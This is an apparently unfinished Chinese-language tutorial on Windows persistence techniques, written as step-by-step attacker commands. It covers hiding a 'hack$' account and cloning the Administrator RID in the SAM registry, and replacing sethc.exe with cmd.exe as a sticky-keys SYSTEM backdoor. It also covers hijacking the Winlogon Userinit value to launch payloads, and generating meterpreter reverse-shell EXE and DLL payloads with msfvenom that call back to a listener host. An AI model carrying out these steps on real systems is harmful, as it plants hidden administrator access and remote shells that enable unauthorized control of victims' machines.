权限维持(Persistence)是网络安全中的一个重要阶段,通常指攻击者在目标系统中建立长期存在的访问通道,以确保即使目标系统重启或攻击被部分清除后,仍能重新获得访问权限。
1. 系统用户隐藏
1.1. 命令行隐藏用户
通过命令行的 net 命令添加带 $ 后缀的用户
1
net user hack$ hack /add

使用 net user 无法发现用户,通过用户管理界面和注册表能查看


1.2. 注册表克隆用户
HKLM/SAM/SAM/Domains/Users/Names
导出 hack$ 和 administrator 用户及其对应的 RID 注册表项
若 SAM 无法查看添加权限即可


RID 为 500(0x1F4)的账户是系统内置的 Administrator 管理员账户。 0x3E9(1001):普通用户账户。

替换 F 键值内容
将 hack 的 3e9 的 F 值替换成 admin 的 1f4 的 F 值

删除用户
1
net user hack$ /del
导入用户和 RID 注册表
双击运行 hack 和 03e9 注册表文件,进行导入
修改用户组
1
2
# 使桌面登录不显示
net localgroup "remote desktop users" hack$ /add
查看用户
发现除注册表外其他无法查看到 hack$ 用户

2. Shift 后门
shift 后门指的是 Windows 系统为了不方便按组合键的人设计的 sethc.exe 程序,即 Windows 的粘滞键,当按下 Shift 键五次时,Windows 会触发“粘滞键”功能,运行 sethc.exe 。攻击者可以替换 sethc.exe 为命令提示符( cmd.exe )或其他恶意程序,从而在锁屏界面获得未授权的命令行访问。此程序是能直接以 System 权限执行命令的。
2.1. 获取控制权限
在 Windows 操作系统中,默认情况下,sethc.exe 的所有者是 TrustedInstaller。
TrustedInstaller 是 Windows 模块安装程序的一部分,负责管理和保护操作系统文件的权限,确保只有经过授权的用户或进程能够修改它。
1
2
3
icacls C:\Windows\System32\sethc.exe
# (F) 完全控制权限
# (RX) 读取和执行权限

替换当前用户为所有者
1
2
3
takeown /f C:\Windows\System32\sethc.exe
# 管理员组获取所有权
takeown /f C:\Windows\System32\sethc.exe /a

给与当前用户完全控制权限
1
2
# 给予ld用户给与完全控制权限
icacls C:\Windows\System32\sethc.exe /grant ld:F

使用 cmd.exe 替换 sethc.exe
1
2
move sethc.exe sethc_bk.exe
copy cmd.exe sethc.exe
验证
注销用户,在系统未登录时按下 5 次 Shift 键,运行 sethc.exe,获取 system 权限

3. 启动项
3.1. 启动文件夹
启动文件夹(Startup Folder):是 Windows 操作系统中的一个重要目录,专门用于存放用户希望在登录时自动启动的程序快捷方式。其作用是通过放置快捷方式,使得相关应用程序或脚本在用户每次启动系统或登录时自动运行,从而提高系统的便利性和效率。
文件夹位置:
1
2
3
4
5
#=========win7-win10===========
C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup #当前用户
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp #所有用户 #==============xp==============
C:\Documents and Settings\<用户名>\Start Menu\Programs\Startup #当前用户
C:\Documents and Settings\All Users\Start Menu\Programs\Startup #所有用户
可以通过 Win+R 快速进入启动文件夹:
shell:startup: 打开当前用户的启动文件夹shell:common startup: 打开所有用户的启动文件夹
3.2. Winlogon Helper
Winlogon 是 Windows 系统的组件,用于处理与用户有关的各种行为,如登录、注销、在登录时加载用户配置文件、锁定屏幕等。这些行为由系统注册表管理,注册表中的一些键值定义了在 Windows 登录期间会启动哪些进程。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit:控制着在用户登录时执行的初始化程序。该注册表项指定了用户登录后,系统应当启动的初始化程序,通常是 userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell:用户登录后要启动的外壳程序(通常是桌面环境)。该项决定了 Windows 启动时加载的主用户界面进程,通常是 explorer.exe

3.2.1. 修改 Userinit 尾随启动
1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,c:\soft\mm32.exe" /f

msf生成木马
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.163.132 lport=4444 -f exe -o mm32.exe
注销重新登录,msf 监听成功
3.2.2. Userinit 无落地文件 cs 上线
cs 生成 powershell payload

生成的 Payload

将其复制粘贴到 Userinit 中

注销后登录,cs 上线成功
3.3. 组策略脚本启动文件夹
组策略脚本存放位置
- 计算机启动脚本目录:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup - 计算机关机脚本目录:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown - 用户登录脚本目录:
C:\Windows\System32\GroupPolicy\User\Scripts\Logon - 用户注销脚本目录:
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff

脚本支持类型:bat、ps1、cmd 等
3.4. 计划任务
工具:
at: 用于创建简单的一次性任务,已过时schtasks: 用于创建复杂的周期性任务
3.4.1. at
1
2
3
4
# 创建计划任务
at 14:30 "notepad.exe"
# 删除计划任务
at ID /delete
3.4.2. schtasks
创建任务(/create)
- todo📅 2025-08-06 查询任务(/query)
删除任务(/delete)
修改任务(/change)
运行任务(/run)
停止任务(/end)
计划类型(/sc)
| 类型 | 描述 | 实例 |
|---|---|---|
| once | 一次性任务 | |
| daily | 每天执行任务 | |
| weekly | 每周执行任务 | |
| monthly | 每月执行任务 | |
| onstart | 系统启动时执行任务 | |
| onlogon | 用户登录时执行任务 | |
| onidle | 系统空闲时执行任务 |
3.5. svhost 宿主服务加载 dll
svchost.exe是 Windows 操作系统中的一个关键系统进程,用于托管和运行 Windows 系统中的多个服务。它通过动态链接库(DLL)文件来执行服务任务,而不是直接从可执行文件(EXE)运行服务。
svchost.exe 通过将服务注册到系统中,并根据注册表配置加载对应的 DLL 文件,从而启动和管理各个服务。
服务注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>
3.5.1. 漏洞利用
3.5.1.1. msf 生成 dll 木马
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.132 LPORT=4444 -f dll > mm.dll
将生成的 mm.dll 复制到目标系统
- todo📅 2025-08-06